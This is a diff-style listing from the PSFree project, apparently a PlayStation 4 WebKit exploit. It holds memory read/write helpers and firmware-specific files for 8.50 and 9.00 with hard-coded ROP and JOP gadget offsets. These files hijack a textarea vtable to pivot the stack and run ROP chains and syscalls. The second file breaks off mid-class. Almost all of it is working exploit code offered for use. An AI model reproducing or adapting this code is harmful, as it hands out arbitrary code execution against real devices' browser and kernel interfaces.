// number of elements will be greater than fastSizeLimit (1000).
//
// We will not use a FastTypedArray since its m_vector is visited by the
// GC and we will temporarily change it. The GC expects addresses from the
// JS heap, and that heap has metadata that the GC uses. The GC will likely
// crash since valid metadata won't likely be found at arbitrary addresses.
//
// The FastTypedArray approach will have a small time frame where the GC
// can inspect the invalid m_vector field.
//
// Views created via "new TypedArray(x)" where "x" is a number will always
// have an m_mode < WastefulTypedArray.
const u = new Uint8Array(1001);
const u_addr = mem.addrof(u);
// we won't change the butterfly and m_mode so we won't save those
const old_addr = u_addr.read64(o.view_m_vector);
u_addr.write64(o.view_m_vector, addr);
const old_size = u_addr.read32(o.view_m_length);
u_addr.write64(o.view_m_vector, addr);
u_addr.write32(o.view_m_length, size);
const old_mode = u_addr.read32(o.view_m_mode);
// force mode to FastTypedArray
u_addr.write32(o.view_m_mode, mode_fast);
const copy = new Uint8Array(u.length);
copy.set(u);
const res = u.buffer;
// We can't use slowDownAndWasteMemory() on u since that will create a
// JSC::ArrayBufferContents with its m_data pointing to addr. On the
// ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
// cause a crash if the m_data is not from the fastMalloc heap, and even if
// it is, freeing abitrary addresses is dangerous as it may lead to a
// use-after-free.
const res = copy.buffer;
// restore
u_addr.write64(o.view_m_vector, old_addr);
u_addr.write32(o.view_m_length, old_size);
u_addr.write32(o.view_m_mode, old_mode);
return res;
}
function eq(a, b) {
return (a.low() === b.low()) && (a.high() === b.high());
}
// these values came from analyzing dumps from CelesteBlue
function check_magic_at(p, is_text) {
// byte sequence that is very likely to appear at offset 0 of a .text
@@ -88,7 +107,7 @@ function check_magic_at(p, is_text) {
const magic = is_text ? text_magic : data_magic;
const value = [p.read64(0), p.read64(8)];
return eq(value[0], magic[0]) && eq(value[1], magic[1]);
return value[0].eq(magic[0]) && value[1].eq(magic[1]);
}
// Finds the base address of a segment: .text or .data
@@ -156,7 +175,7 @@ export function resolve_import(import_addr) {
// of the next instruction. This means that the actual address used is
// [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
// jump instruction, which is 6 in this case.
const function_addr = import_addr.add(offset.add(6)).readp(0);
const function_addr = import_addr.readp(offset.add(6));
return function_addr;
}
+1288
View File
File diff suppressed because it is too large Load Diff
+685
View File
@@ -0,0 +1,685 @@
/* Copyright (C) 2024 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// by janisslsm (John) from ps4-dev discord
import * as config from '../config.mjs';
import { Int } from '../module/int64.mjs';
import { debug_log, die } from '../module/utils.mjs';
import { Addr, mem } from '../module/mem.mjs';
import { KB, MB } from '../module/constants.mjs';
import { ChainBase } from '../module/chain.mjs';
import {
make_buffer,
find_base,
get_view_vector,
resolve_import,
init_syscall_array,
} from '../module/memtools.mjs';
import * as rw from '../module/rw.mjs';
import * as o from '../module/offset.mjs';
const origin = window.origin;
const port = '8000';
const url = `${origin}:${port}`;
const syscall_array = [];
const offset_textarea_impl = 0x18;
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x8D8;
const offset_wk_memcpy = 0x8E8;
// libSceLibcInternal offsets
const offset_libc_setjmp = 0x25904;
const offset_libc_longjmp = 0x29C38;
// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx
//
// int setjmp(jmp_buf)
// noreturn longjmp(jmp_buf)
//
// This version of longjmp() does not take another argument to be used as
// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored
// rax. Change it if you want a specific value from setjmp() after the
// longjmp().
const jmp_buf_size = 0xc8;
let setjmp_addr = null;
let longjmp_addr = null;
// libSceNKWebKit.sprx
let libwebkit_base = null;
// libkernel_web.sprx
let libkernel_base = null;
// libSceLibcInternal.sprx
let libc_base = null;
// Chain implementation based on Chain803. Replaced offsets that changed
// between versions. Replaced gadgets that were missing with new ones that
// won't change the API.
// gadgets for the JOP chain
//
// When the scrollLeft getter native function is called on PS4 8.50, rsi is the
// JS wrapper for the WebCore textarea class.
const jop1 = `
mov rdi, qword ptr [rsi + 0x20]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x28]
`;
// Since the method of code redirection we used is via redirecting a call to
// jump to our JOP chain, we have the return address of the caller on entry.
//
// jop1 pushed another object (via the call instruction) but we want no extra
// objects between the return address and the rbp that will be pushed by jop3
// later. So we pop the return address pushed by jop1.
//
// This will make pivoting back easy, just "leave; ret".
const jop2 = `
pop rsi
jmp qword ptr [rax + 0x60]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop3 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
const jop4 = `
mov rdx, qword ptr [rax + 0x18]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x10]
`;
const jop5 = `
push rdx
jmp qword ptr [rax]
`;
const jop6 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
const rop_epilogue = 'leave; ret';
const push_rdx_jmp = `
push rdx
jmp qword ptr [rax]
`;
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x000000000001ac7b,
'pop rbx; ret' : 0x000000000000c46d,
'pop rcx; ret' : 0x000000000001ac5f,
'pop rdx; ret' : 0x0000000000282ea2,
'pop rbp; ret' : 0x00000000000000b6,
'pop rsi; ret' : 0x0000000000050878,
'pop rdi; ret' : 0x0000000000091afa,
'pop rsp; ret' : 0x0000000000073c2b,
'pop r8; ret' : 0x000000000003b4b3,
'pop r9; ret' : 0x00000000010f372f,
'pop r10; ret' : 0x0000000000b1a721,
'pop r11; ret' : 0x0000000000eaba69,
'pop r12; ret' : 0x00000000004abe58,
'pop r13; ret' : 0x00000000019a0d8b,
'pop r14; ret' : 0x0000000000050877,
'pop r15; ret' : 0x0000000000091af9,
'ret' : 0x0000000000000032,
'leave; ret' : 0x000000000001ba53,
'neg rax; and rax, rcx; ret' : 0x00000000014c5ab4,
'adc esi, esi; ret' : 0x0000000000bcfa29,
'add rax, rdx; ret' : 0x0000000000d26d4c,
'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x00000000015a74c6,
'pop rdi; jmp qword ptr [rax + 0x1d]' : 0x00000000021f4f09,
'mov qword ptr [rdi], rsi; ret' : 0x000000000018f010,
'mov rax, qword ptr [rax]; ret' : 0x000000000003734c,
'mov qword ptr [rdi], rax; ret' : 0x000000000001433b,
'mov rdx, rcx; ret' : 0x0000000000f2c94d,
[push_rdx_jmp] : 0x00000000021f10fd,
[jop1] : 0x00000000002613e8,
[jop2] : 0x00000000021f930e,
[jop3] : 0x00000000011c9df0,
[jop4] : 0x0000000000481769,
[jop5] : 0x00000000021f10fd,
[jop6] : 0x0000000000073c2b,
}));
const libc_gadget_offsets = new Map(Object.entries({
'neg rax; ret' : 0x00000000000d3df3,
'mov rdx, rax; xor eax, eax; shl rdx, cl; ret' : 0x00000000000cef39,
'mov qword ptr [rsi], rcx; ret' : 0x00000000000cf8e2,
'setjmp' : offset_libc_setjmp,
'longjmp' : offset_libc_longjmp,
}));
const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
const textarea_vtable = webcore_textarea.readp(0);
const libwebkit_base = find_base(textarea_vtable, true, true);
const stack_chk_fail_import =
libwebkit_base
.add(offset_wk_stack_chk_fail)
;
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const libkernel_base = find_base(stack_chk_fail_addr, true, true);
const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
const memcpy_addr = resolve_import(memcpy_import);
const libc_base = find_base(memcpy_addr, true, true);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
}
function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain850Base extends ChainBase {
constructor() {
super();
// for conditional jumps
this._clean_branch_ctx();
this.flag = new Uint8Array(8);
this.flag_addr = get_view_vector(this.flag);
this.jmp_target = new Uint8Array(0x100);
rw.write64(this.jmp_target, 0x1d, this.get_gadget(push_rdx_jmp));
rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
// for save/restore
this.is_saved = false;
const jmp_buf_size = 0xc8;
this.jmp_buf = new Uint8Array(jmp_buf_size);
this.jmp_buf_p = get_view_vector(this.jmp_buf);
}
// sequence to pivot back and return
push_end() {
this.push_gadget(rop_epilogue);
}
check_is_branching() {
if (this.is_branch_ctx) {
throw Error('chain is still branching, end it before running');
}
}
push_value(value) {
super.push_value(value);
if (this.is_branch_ctx) {
this.branch_position += 8;
}
}
_clean_branch_ctx() {
this.is_branch_ctx = false;
this.branch_position = null;
this.delta_slot = null;
this.rsp_slot = null;
this.rsp_position = null;
}
clean() {
super.clean();
this._clean_branch_ctx();
this.is_saved = false;
}
// Use start_branch() and end_branch() to delimit a ROP chain that will
// conditionally execute. rax must be set accordingly before the branch.
// rax == 0 means execute the conditional chain.
//
// example that always execute the conditional chain:
// chain.push_gadget('mov rax, 0; ret');
// chain.start_branch();
// chain.push_gadget('pop rbx; ret'); // always executed
// chain.end_branch();
start_branch() {
if (this.is_branch_ctx) {
throw Error('chain already branching, end it first');
}
// clobbers rax, rcx, rdi, rsi
//
// u64 flag = 0 if -rax == 0 else 1
// *flag_addr = flag
this.push_gadget('pop rcx; ret');
this.push_constant(-1);
this.push_gadget('neg rax; ret');
this.push_gadget('pop rsi; ret');
this.push_constant(0);
this.push_gadget('adc esi, esi; ret');
this.push_gadget('pop rdi; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov qword ptr [rdi], rsi; ret');
// clobbers rax, rcx, rdi
//
// rax = *flag_addr
// rcx = delta
// rax = -rax & rcx
// *flag_addr = rax
this.push_gadget('pop rax; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov rax, qword ptr [rax]; ret');
// dummy value, overwritten later by end_branch()
this.push_gadget('pop rcx; ret');
this.delta_slot = this.position;
this.push_constant(0);
this.push_gadget('neg rax; and rax, rcx; ret');
this.push_gadget('pop rdi; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
// clobbers rax, rcx, rdx, rsi
//
// rcx = rsp_position
// rsi = rsp
// rcx += rsi
// rdx = rcx
//
// dummy value, overwritten later at the end of start_branch()
this.push_gadget('pop rcx; ret');
this.rsp_slot = this.position;
this.push_constant(0);
this.push_gadget('pop rsi; ret');
this.push_value(this.stack_addr.add(this.position + 8));
// rsp collected here, start counting how much to perturb rsp
this.branch_position = 0;
this.is_branch_ctx = true;
this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret');
this.push_gadget('mov rdx, rcx; ret');
// clobbers rax
//
// rax = *flag_addr
this.push_gadget('pop rax; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov rax, qword ptr [rax]; ret');
// clobbers rax
//
// rax += rdx
// new_rsp = rax
this.push_gadget('add rax, rdx; ret');
// clobbers rdi
//
// for debugging, save new_rsp to flag_addr so we can verify it later
this.push_gadget('pop rdi; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
// clobbers rdx, rcx
//
// rdx = rax
this.push_gadget('pop rcx; ret');
this.push_constant(0);
this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret');
// clobbers rax, rdx, rdi, rsp
//
// rsp = rdx
this.push_gadget('pop rax; ret');
this.push_value(get_view_vector(this.jmp_target));
this.push_gadget('pop rdi; jmp qword ptr [rax + 0x1d]');
this.push_constant(0); // padding for the push
this.rsp_position = this.branch_position;
rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position));
}
end_branch() {
if (!this.is_branch_ctx) {
throw Error('can not end nonbranching chain');
}
const delta = this.branch_position - this.rsp_position;
rw.write64(this.stack, this.delta_slot, new Int(delta));
this._clean_branch_ctx();
}
// clobbers rax, rdi, rsi
push_save() {
if (this.is_saved) {
throw Error('restore first before saving again');
}
this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p);
this.is_saved = true;
}
// Force a push_restore() if at runtime you can ensure the save/restore
// pair line up.
push_restore(is_force=false) {
if (!this.is_saved && !is_force) {
throw Error('save first before restoring');
}
// modify jmp_buf.rsp
this.push_gadget('pop rax; ret');
const rsp_slot = this.position;
// dummy value, overwritten later at the end of push_restore()
this.push_constant(0);
this.push_gadget('pop rdi; ret');
this.push_value(this.jmp_buf_p.add(0x38));
this.push_gadget('mov qword ptr [rdi], rax; ret');
// modify jmp_buf.return_address
this.push_gadget('pop rax; ret');
this.push_value(this.get_gadget('ret'));
this.push_gadget('pop rdi; ret');
this.push_value(this.jmp_buf_p.add(0x80));
this.push_gadget('mov qword ptr [rdi], rax; ret');
this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p);
// Padding as longjmp() pushes the rdi and return address in the
// jmp_buf at the target rsp.
this.push_constant(0);
this.push_constant(0);
const target_rsp = this.stack_addr.add(this.position);
rw.write64(this.stack, rsp_slot, target_rsp);
this.is_saved = false;
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
call(...args) {
if (this.position !== 0) {
throw Error('call() needs an empty chain');
}
this.push_call(...args);
this.push_get_retval();
this.push_end();
this.run();
this.clean();
return this.return_value;
}
syscall(...args) {
if (this.position !== 0) {
throw Error('syscall() needs an empty chain');
}
this.push_syscall(...args);
this.push_get_retval();
this.push_end();
this.run();
this.clean();
return this.return_value;
}
}
// helper object for ROP
const rop_ta = document.createElement('textarea');
// Chain for PS4 8.50
class Chain850 extends Chain850Base {
constructor() {
super();
// sizeof JSC:JSObject, the JSCell + the butterfly field
const js_size = 0x10;
// sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
const js_ta_size = 0x20;
// start of the array of inline properties (JSValues)
const offset_js_inline_prop = 0x10;
// Sizes may vary between webkit versions so we just assume a size
// that we think is large enough for all of them.
const vtable_size = 0x1000;
const webcore_ta_size = 0x180;
const ta_clone = {};
this.ta_clone = ta_clone;
const clone_p = mem.addrof(ta_clone);
const ta_p = mem.addrof(rop_ta);
for (let i = js_size; i < js_ta_size; i += 8) {
clone_p.write64(i, ta_p.read64(i));
}
const webcore_ta = ta_p.readp(offset_textarea_impl);
const m_wrapped_clone = new Uint8Array(
make_buffer(webcore_ta, webcore_ta_size)
);
this.m_wrapped_clone = m_wrapped_clone;
// Replicate the vtable as much as possible or else the garbage
// collector will crash. It uses functions from the vtable.
//
// There is no need to restore the original vtable pointer later since
// it points to a copy with only offset 0x1c8 changed. The scrollLeft
// getter is not used by the GC.
const vtable_clone = new Uint8Array(
make_buffer(webcore_ta.readp(0), vtable_size)
);
this.vtable_clone = vtable_clone
clone_p.write64(
offset_textarea_impl,
get_view_vector(m_wrapped_clone),
);
rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
clone_p.write64(0, ta_p.read64(0));
// 0x1c8 is the offset of the scrollLeft getter native function
rw.write64(vtable_clone, 0x1c8, this.get_gadget(jop1));
// for the JOP chain
const rax_ptrs = new Uint8Array(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
this.rax_ptrs = rax_ptrs;
rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
rw.write64(rax_ptrs, 0x60, this.get_gadget(jop3));
rw.write64(rax_ptrs, 0x30, this.get_gadget(jop4));
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
// value to pivot rsp to
rw.write64(rax_ptrs, 0x18, this.stack_addr);
const jop_buffer = new Uint8Array(8);
const jop_buffer_p = get_view_vector(jop_buffer);
this.jop_buffer = jop_buffer;
rw.write64(jop_buffer, 0, rax_ptrs_p);
clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
}
run() {
this.check_stale();
this.check_is_empty();
this.check_is_branching();
// jump to JOP chain
this.ta_clone.scrollLeft;
}
}
const Chain = Chain850;
function init(Chain) {
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
debug_log('syscall_array:');
debug_log(syscall_array);
Chain.init_class(gadgets, syscall_array);
}
function test_rop(Chain) {
const jmp_buf = new Uint8Array(jmp_buf_size);
const jmp_buf_p = get_view_vector(jmp_buf);
init(Chain);
setjmp_addr = gadgets.get('setjmp');
longjmp_addr = gadgets.get('longjmp');
const chain = new Chain();
// Instead of writing to the jmp_buf, set rax here so it will be restored
// as the return value after the longjmp().
chain.push_gadget('pop rax; ret');
chain.push_constant(1);
chain.push_call(setjmp_addr, jmp_buf_p);
chain.start_branch();
debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
chain.push_call(longjmp_addr, jmp_buf_p);
chain.end_branch();
debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
chain.push_end();
// The ROP chain is a noop. If we crashed, then we did something wrong.
alert('chain run');
debug_log('test call setjmp()/longjmp()');
chain.run()
alert('returned successfully');
debug_log('returned successfully');
debug_log('jmp_buf:');
debug_log(jmp_buf);
debug_log(`flag: ${rw.read64(chain.flag, 0)}`);
const state1 = new Uint8Array(8);
debug_log('test if rax == 0');
chain.clean();
chain.push_gadget('pop rsi; ret');
chain.push_value(get_view_vector(state1));
chain.push_save();
chain.push_gadget('pop rax; ret');
chain.push_constant(0);
chain.start_branch();
chain.push_restore();
chain.push_gadget('pop rcx; ret');
chain.push_constant(1);
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
chain.push_end();
chain.end_branch();
chain.push_restore(true);
chain.push_gadget('pop rcx; ret');
chain.push_constant(2);
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
chain.push_end();
chain.run();
debug_log(`state1 must be 1: ${state1}`);
if (state1[0] !== 1) {
die('if branch not taken');
}
const state2 = new Uint8Array(8);
debug_log('test if rax != 0');
chain.clean();
chain.push_gadget('pop rsi; ret');
chain.push_value(get_view_vector(state2));
chain.push_save();
chain.push_gadget('pop rax; ret');
chain.push_constant(1);
chain.start_branch();
chain.push_restore();
chain.push_gadget('pop rcx; ret');
chain.push_constant(1);
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
chain.push_end();
chain.end_branch();
chain.push_restore(true);
chain.push_gadget('pop rcx; ret');
chain.push_constant(2);
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
chain.push_end();
chain.run();
debug_log(`state2 must be 2: ${state2}`);
if (state2[0] !== 2) {
die('if branch taken');
}
debug_log('test syscall getuid()');
chain.clean();
// Set the return value to some random value. If the syscall worked, then
// it will likely change.
const magic = 0x4b435546;
rw.write32(chain._return_value, 0, magic);
const res = chain.syscall('getuid');
debug_log(`return value: ${res}`);
if (res.eq(magic)) {
die('syscall getuid failed');
}
}
test_rop(Chain);
+682
View File
@@ -0,0 +1,682 @@
/* Copyright (C) 2024 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// by janisslsm (John) from ps4-dev discord
import * as config from '../config.mjs';
import { Int } from '../module/int64.mjs';
import { debug_log, die } from '../module/utils.mjs';
import { Addr, mem } from '../module/mem.mjs';
import { KB, MB } from '../module/constants.mjs';
import { ChainBase } from '../module/chain.mjs';
import {
make_buffer,
find_base,
get_view_vector,
resolve_import,
init_syscall_array,
} from '../module/memtools.mjs';
import * as rw from '../module/rw.mjs';
import * as o from '../module/offset.mjs';
const origin = window.origin;
const port = '8000';
const url = `${origin}:${port}`;
const syscall_array = [];
const offset_textarea_impl = 0x18;
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x178;
const offset_wk_memcpy = 0x188;
// libSceLibcInternal offsets
const offset_libc_setjmp = 0x24F04;
const offset_libc_longjmp = 0x29448;
// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx
//
// int setjmp(jmp_buf)
// noreturn longjmp(jmp_buf)
//
// This version of longjmp() does not take another argument to be used as
// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored
// rax. Change it if you want a specific value from setjmp() after the
// longjmp().
const jmp_buf_size = 0xc8;
let setjmp_addr = null;
let longjmp_addr = null;
// libSceNKWebKit.sprx
let libwebkit_base = null;
// libkernel_web.sprx
let libkernel_base = null;
// libSceLibcInternal.sprx
let libc_base = null;
// Chain implementation based on Chain803. Replaced offsets that changed
// between versions. Replaced gadgets that were missing with new ones that
// won't change the API.
// gadgets for the JOP chain
//
// When the scrollLeft getter native function is called on PS4 9.00, rsi is the
// JS wrapper for the WebCore textarea class.
const jop1 = `
mov rdi, qword ptr [rsi + 0x20]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x28]
`;
// Since the method of code redirection we used is via redirecting a call to
// jump to our JOP chain, we have the return address of the caller on entry.
//
// jop1 pushed another object (via the call instruction) but we want no extra
// objects between the return address and the rbp that will be pushed by jop3
// later. So we pop the return address pushed by jop1.
//
// This will make pivoting back easy, just "leave; ret".
const jop2 = `
pop rsi
jmp qword ptr [rax + 0x1c]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop3 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x58]
`;
const jop4 = `
mov rdx, qword ptr [rax + 0x18]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x10]
`;
const jop5 = `
push rdx
jmp qword ptr [rax]
`;
const jop6 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
const rop_epilogue = 'leave; ret';
const push_rdx_jmp = `
push rdx
jmp qword ptr [rax]
`;
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000051a12,
'pop rbx; ret' : 0x00000000000be5d0,
'pop rcx; ret' : 0x00000000000657b7,
'pop rdx; ret' : 0x000000000000986c,
'pop rbp; ret' : 0x00000000000000b6,
'pop rsi; ret' : 0x000000000001F4D6,
'pop rdi; ret' : 0x0000000000319690,
'pop rsp; ret' : 0x000000000004e293,
'pop r8; ret' : 0x00000000001a7ef1,
'pop r9; ret' : 0x0000000000422571,
'pop r10; ret' : 0x0000000000e9e1d1,
'pop r11; ret' : 0x0000000000620df9,
'pop r12; ret' : 0x000000000085ec71,
'pop r13; ret' : 0x00000000001da461,
'pop r14; ret' : 0x000000000001f4d5,
'pop r15; ret' : 0x000000000031968f,
'ret' : 0x0000000000000032,
'leave; ret' : 0x000000000008db5b,
'neg rax; and rax, rcx; ret' : 0x00000000019771c4,
'adc esi, esi; ret' : 0x000000000148874e,
'add rax, rdx; ret' : 0x00000000003f662c,
'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x0000000001b1ed66,
'pop rsi; jmp qword ptr [rax + 0x1c]' : 0x00000000021fce7e,
'mov qword ptr [rdi], rsi; ret' : 0x0000000000040300,
'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc,
'mov qword ptr [rdi], rax; ret' : 0x000000000000613b,
'mov rdx, rcx; ret' : 0x000000000157fe71,
[push_rdx_jmp] : 0x00000000028bd332,
[jop1] : 0x0000000000f2c778,
[jop2] : 0x00000000021fce7e,
[jop3] : 0x0000000000683800,
[jop4] : 0x0000000000303906,
[jop5] : 0x00000000028bd332,
[jop6] : 0x000000000004e293,
}));
const libc_gadget_offsets = new Map(Object.entries({
'neg rax; ret' : 0x00000000000d3f03,
'mov rdx, rax; xor eax, eax; shl rdx, cl; ret' : 0x00000000000cefd9,
'mov qword ptr [rsi], rcx; ret' : 0x00000000000cf982,
'setjmp' : offset_libc_setjmp,
'longjmp' : offset_libc_longjmp,
}));
const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
const textarea_vtable = webcore_textarea.readp(0);
const libwebkit_base = find_base(textarea_vtable, true, true);
const stack_chk_fail_import =
libwebkit_base
.add(offset_wk_stack_chk_fail)
;
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const libkernel_base = find_base(stack_chk_fail_addr, true, true);
const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
const memcpy_addr = resolve_import(memcpy_import);
const libc_base = find_base(memcpy_addr, true, true);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
}
function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain900Base extends ChainBase {
constructor() {
super();
// for conditional jumps
this._clean_branch_ctx();
this.flag = new Uint8Array(8);
this.flag_addr = get_view_vector(this.flag);
this.jmp_target = new Uint8Array(0x100);
rw.write64(this.jmp_target, 0x1c, this.get_gadget(push_rdx_jmp));
rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
// for save/restore
this.is_saved = false;
const jmp_buf_size = 0xc8;
this.jmp_buf = new Uint8Array(jmp_buf_size);
this.jmp_buf_p = get_view_vector(this.jmp_buf);
}
// sequence to pivot back and return
push_end() {
this.push_gadget(rop_epilogue);
}
check_is_branching() {
if (this.is_branch_ctx) {
throw Error('chain is still branching, end it before running');
}
}
push_value(value) {
super.push_value(value);
if (this.is_branch_ctx) {
this.branch_position += 8;
}
}
_clean_branch_ctx() {
this.is_branch_ctx = false;
this.branch_position = null;
this.delta_slot = null;
this.rsp_slot = null;
this.rsp_position = null;
}
clean() {
super.clean();
this._clean_branch_ctx();
this.is_saved = false;
}
// Use start_branch() and end_branch() to delimit a ROP chain that will
// conditionally execute. rax must be set accordingly before the branch.
// rax == 0 means execute the conditional chain.
//
// example that always execute the conditional chain:
// chain.push_gadget('mov rax, 0; ret');
// chain.start_branch();
// chain.push_gadget('pop rbx; ret'); // always executed
// chain.end_branch();
start_branch() {
if (this.is_branch_ctx) {
throw Error('chain already branching, end it first');
}
// clobbers rax, rcx, rdi, rsi
//
// u64 flag = 0 if -rax == 0 else 1
// *flag_addr = flag
this.push_gadget('pop rcx; ret');
this.push_constant(-1);
this.push_gadget('neg rax; ret');
this.push_gadget('pop rsi; ret');
this.push_constant(0);
this.push_gadget('adc esi, esi; ret');
this.push_gadget('pop rdi; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov qword ptr [rdi], rsi; ret');
// clobbers rax, rcx, rdi
//
// rax = *flag_addr
// rcx = delta
// rax = -rax & rcx
// *flag_addr = rax
this.push_gadget('pop rax; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov rax, qword ptr [rax]; ret');
// dummy value, overwritten later by end_branch()
this.push_gadget('pop rcx; ret');
this.delta_slot = this.position;
this.push_constant(0);
this.push_gadget('neg rax; and rax, rcx; ret');
this.push_gadget('pop rdi; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
// clobbers rax, rcx, rdx, rsi
//
// rcx = rsp_position
// rsi = rsp
// rcx += rsi
// rdx = rcx
//
// dummy value, overwritten later at the end of start_branch()
this.push_gadget('pop rcx; ret');
this.rsp_slot = this.position;
this.push_constant(0);
this.push_gadget('pop rsi; ret');
this.push_value(this.stack_addr.add(this.position + 8));
// rsp collected here, start counting how much to perturb rsp
this.branch_position = 0;
this.is_branch_ctx = true;
this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret');
this.push_gadget('mov rdx, rcx; ret');
// clobbers rax
//
// rax = *flag_addr
this.push_gadget('pop rax; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov rax, qword ptr [rax]; ret');
// clobbers rax
//
// rax += rdx
// new_rsp = rax
this.push_gadget('add rax, rdx; ret');
// clobbers rdi
//
// for debugging, save new_rsp to flag_addr so we can verify it later
this.push_gadget('pop rdi; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
// clobbers rdx, rcx
//
// rdx = rax
this.push_gadget('pop rcx; ret');
this.push_constant(0);
this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret');
// clobbers rax, rdx, rsi, rsp
//
// rsp = rdx
this.push_gadget('pop rax; ret');
this.push_value(get_view_vector(this.jmp_target));
this.push_gadget('pop rsi; jmp qword ptr [rax + 0x1c]');
this.push_constant(0); // padding for the push
this.rsp_position = this.branch_position;
rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position));
}
end_branch() {
